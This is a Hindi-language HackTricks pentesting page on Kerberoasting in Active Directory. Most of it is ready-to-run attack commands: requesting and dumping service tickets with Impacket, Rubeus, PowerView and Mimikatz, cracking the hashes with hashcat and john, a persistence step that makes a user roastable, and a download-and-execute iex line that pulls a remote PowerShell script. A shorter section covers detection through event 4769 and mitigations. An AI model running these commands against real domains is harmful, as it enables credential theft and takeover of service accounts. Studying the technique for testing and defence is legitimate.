Kerberoast

Trickest का उपयोग करें और दुनिया के सबसे उन्नत समुदाय उपकरणों द्वारा संचालित कार्यप्रवाहों को आसानी से निर्मित और स्वचालित करें। आज ही पहुंचें:

शून्य से हीरो तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

Kerberoast

Kerberoasting TGS टिकट्स की प्राप्ति पर ध्यान केंद्रित होता है, विशेष रूप से उन टिकट्स से जुड़े सेवाओं की, जो एक्टिव डायरेक्टरी (AD) में उपयोगकर्ता खातों के तहत कार्यरत हैं, कंप्यूटर खातों को छोड़कर। इन टिकट्स के एन्क्रिप्शन में उपयोगकर्ता पासवर्ड से उत्पन्न कुंजियों का उपयोग होता है, जिससे ऑफलाइन पहचान की संभावना होती है। सेवा का उपयोग एक उपयोगकर्ता खाता द्वारा किया जाता है, जिसे एक गैर-खाली "ServicePrincipalName" संपत्ति द्वारा सूचित किया जाता है।

Kerberoasting को निष्पादित करने के लिए, TGS टिकट्स का अनुरोध करने की क्षमता वाला डोमेन खाता आवश्यक है; हालांकि, यह प्रक्रिया विशेष विशेषाधिकारों की मांग नहीं करती, जिससे इसे किसी के पास वैध डोमेन क्रेडेंशियल्स के साथ पहुंचने में सक्षम होता है।

मुख्य बिंदु:

  • Kerberoasting AD के भीतर उपयोगकर्ता खात सेवाओं के लिए TGS टिकट्स को लक्ष्य बनाता है।

  • उपयोगकर्ता पासवर्ड से कुंजियों से एन्क्रिप्ट किए गए टिकट्स ऑफलाइन पहचान किए जा सकते हैं।

  • एक सेवा को एक गैर-खाली ServicePrincipalName द्वारा पहचाना जाता है।

  • कोई विशेष विशेषाधिकार की आवश्यकता नहीं है, केवल वैध डोमेन क्रेडेंशियल्स चाहिए।

हमला

Kerberoasting उपकरण सामान्यत: हमला करते समय RC4 एन्क्रिप्शन का अनुरोध करते हैं और TGS-REQ अनुरोधों की शुरुआत करते हैं। इसलिए RC4 कमजोर है और इसे अन्य एन्क्रिप्शन एल्गोरिथ्मों जैसे AES-128 और AES-256 की तुलना में ऑफलाइन क्रैक करना आसान है, जैसे Hashcat जैसे उपकरणों का उपयोग करके। RC4 (प्रकार 23) हैश $krb5tgs$23$* से शुरू होते हैं जबकि AES-256 (प्रकार 18) $krb5tgs$18$* से शुरू होते हैं।

Linux

# Metasploit framework
msf> use auxiliary/gather/get_user_spns
# Impacket
GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN.FULL>/<USERNAME> -outputfile hashes.kerberoast # Password will be prompted
GetUserSPNs.py -request -dc-ip <DC_IP> -hashes <LMHASH>:<NTHASH> <DOMAIN>/<USERNAME> -outputfile hashes.kerberoast
# kerberoast: https://github.com/skelsec/kerberoast
kerberoast ldap spn 'ldap+ntlm-password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -o kerberoastable # 1. Enumerate kerberoastable users
kerberoast spnroast 'kerberos+password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -t kerberoastable_spn_users.txt -o kerberoast.hashes # 2. Dump hashes

बहु-विशेषताएँ वाले उपकरण जिसमें kerberoastable उपयोगकर्ताओं का डंप शामिल है:

# ADenum: https://github.com/SecuProject/ADenum
adenum -d <DOMAIN.FULL> -ip <DC_IP> -u <USERNAME> -p <PASSWORD> -c

विंडोज

  • केर्बेरोस्ट करने योग्य उपयोगकर्ताओं का जांच करें

# Get Kerberoastable users
setspn.exe -Q */* #This is a built-in binary. Focus on user accounts
Get-NetUser -SPN | select serviceprincipalname #Powerview
.\Rubeus.exe kerberoast /stats
  • तकनीक 1: TGS के लिए अनुरोध करें और मेमोरी से डंप करें

#Get TGS in memory from a single user
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" #Example: MSSQLSvc/mgmt.domain.local

#Get TGSs for ALL kerberoastable accounts (PCs included, not really smart)
setspn.exe -T DOMAIN_NAME.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }

#List kerberos tickets in memory
klist

# Extract them from memory
Invoke-Mimikatz -Command '"kerberos::list /export"' #Export tickets to current folder

# Transform kirbi ticket to john
python2.7 kirbi2john.py sqldev.kirbi
# Transform john to hashcat
sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat
  • तकनीक 2: स्वचालित उपकरण

# Powerview: Get Kerberoast hash of a user
Request-SPNTicket -SPN "<SPN>" -Format Hashcat #Using PowerView Ex: MSSQLSvc/mgmt.domain.local
# Powerview: Get all Kerberoast hashes
Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\kerberoast.csv -NoTypeInformation

# Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast #Specific user
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap #Get of admins

# Invoke-Kerberoast
iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast

जब एक TGS का अनुरोध किया जाता है, तो Windows घटना 4769 - एक केरबेरोस सेवा टिकट का अनुरोध किया गया था उत्पन्न होती है।

Trickest का उपयोग करें और आसानी से ऑटोमेट वर्कफ़्लो बनाएं जो दुनिया के सबसे उन्नत समुदाय उपकरणों द्वारा संचालित हैं। आज ही पहुंचें:

क्रैकिंग

john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi

Persistence

यदि आपके पास एक उपयोगकर्ता पर पर्याप्त अनुमतियाँ हैं तो आप इसे केर्बेरोस्टेबल बना सकते हैं:

Set-DomainObject -Identity <username> -Set @{serviceprincipalname='just/whateverUn1Que'} -verbose

आप kerberoast हमलों के लिए उपयोगी उपकरण यहाँ पा सकते हैं: https://github.com/nidem/kerberoast

यदि आपको लिनक्स से यह त्रुटि मिलती है: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great) तो यह आपके स्थानीय समय के कारण है, आपको होस्ट को डीसी के साथ समक्रमित करने की आवश्यकता है। कुछ विकल्प हैं:

  • ntpdate <IP of DC> - Ubuntu 16.04 के रूप में अप्रचलित

  • rdate -n <IP of DC>

संरोधन

करबेरोस्टिंग एक उच्च स्तर की छिपावनी के साथ की जा सकती है यदि यह शोषणीय है। इस गतिविधि का पता लगाने के लिए, ध्यान दिया जाना चाहिए सुरक्षा घटना आईडी 4769 पर, जो इसका संकेत देता है कि एक करबेरोस टिकट का अनुरोध किया गया है। हालांकि, इस घटना की उच्च आवृत्ति के कारण, संदेहपूर्ण गतिविधियों को अलग करने के लिए विशेष फिल्टर लागू किए जाने चाहिए:

  • सेवा का नाम krbtgt नहीं होना चाहिए, क्योंकि यह एक सामान्य अनुरोध है।

  • सेवा के नाम में $ समाप्त होना चाहिए ताकि सेवाओं के लिए उपयुक्त मशीन खातों को शामिल न किया जाए।

  • मशीनों से अनुरोधों को फ़िल्टर किया जाना चाहिए जिसमें खाता नाम का प्रारूप हो machine@domain को छोड़कर।

  • केवल सफल टिकट अनुरोध को विचार किया जाना चाहिए, जिसे एक विफलता कोड द्वारा पहचाना जाता है '0x0'

  • सबसे महत्वपूर्ण, टिकट एन्क्रिप्शन प्रकार को 0x17 होना चाहिए, जो अक्सर करबेरोस्टिंग हमलों में उपयोग किया जाता है।

Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} -MaxEvents 1000 | ?{$_.Message.split("`n")[8] -ne 'krbtgt' -and $_.Message.split("`n")[8] -ne '*$' -and $_.Message.split("`n")[3] -notlike '*$@*' -and $_.Message.split("`n")[18] -like '*0x0*' -and $_.Message.split("`n")[17] -like "*0x17*"} | select ExpandProperty message

करबेरोस्टिंग की जोखिम को कम करने के लिए:

  • सुनिश्चित करें कि सेवा खाता पासवर्ड कठिन हो और 25 अक्षर से अधिक होने की सिफारिश करें।

  • प्रबंधित सेवा खाते का उपयोग करें, जो स्वचालित पासवर्ड परिवर्तन और ध्यानाकर्षित सेवा प्रिंसिपल नाम (SPN) प्रबंधन जैसे लाभ प्रदान करते हैं, इस प्रकार के हमलों के खिलाफ सुरक्षा को बढ़ावा देते हैं।

इन उपायों को लागू करके संगठन करबेरोस्टिंग के साथ जुड़े जोखिम को काफी कम कर सकते हैं।

डोमेन खाता के बिना करबेरोस्ट

सितंबर 2022 में, एक नए तरीके से एक सिस्टम का शोध करने का एक नया तरीका एक शोधकर्ता नामक चार्ली क्लार्क द्वारा साझा किया गया था, जिसे उन्होंने अपने प्लेटफ़ॉर्म exploit.ph के माध्यम से साझा किया था। इस विधि की मदद से सेवा टिकट्स (ST) की प्राप्ति की जा सकती है एक KRB_AS_REQ अनुरोध के माध्यम से, जिसके लिए किसी भी एक्टिव डायरेक्टरी खाते पर नियंत्रण की आवश्यकता नहीं है। मूल रूप से, यदि एक प्रिंसिपल इस प्रकार से सेटअप किया गया है कि इसे पूर्व-प्रमाणीकरण की आवश्यकता नहीं है - एक स्थिति जो साइबर सुरक्षा क्षेत्र में एक AS-REP Roasting हमला के रूप में जाना जाता है - तो इस विशेषता का उपयोग अनुरोध प्रक्रिया को मोड़ने के लिए किया जा सकता है। विशेष रूप से, अनुरोध के शरीर में sname विशेषता को बदलकर, सिस्टम को एक ST जारी करने के लिए धोखा दिया जाता है बजाय मानक एन्क्रिप्टेड टिकट ग्रांटिंग टिकट (TGT)।

इस तकनीक की पूरी व्याख्या इस लेख में की गई है: Semperis ब्लॉग पोस्ट.

आपको उपयोगकर्ताओं की सूची प्रदान करनी चाहिए क्योंकि हमारे पास इस तकनीक का उपयोग करके LDAP क्वेरी करने के लिए एक वैध खाता नहीं है।

लिनक्स

GetUserSPNs.py -no-preauth "NO_PREAUTH_USER" -usersfile "LIST_USERS" -dc-host "dc.domain.local" "domain.local"/

विंडोज

Rubeus.exe kerberoast /outfile:kerberoastables.txt /domain:"domain.local" /dc:"dc.domain.local" /nopreauth:"NO_PREAUTH_USER" /spn:"TARGET_SERVICE"

संदर्भ

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

Trickest का उपयोग करें और दुनिया के सबसे उन्नत समुदाय उपकरणों द्वारा संचालित ऑटोमेटेड वर्कफ़्लो आसानी से बनाएं। आज ही पहुंचें:

Last updated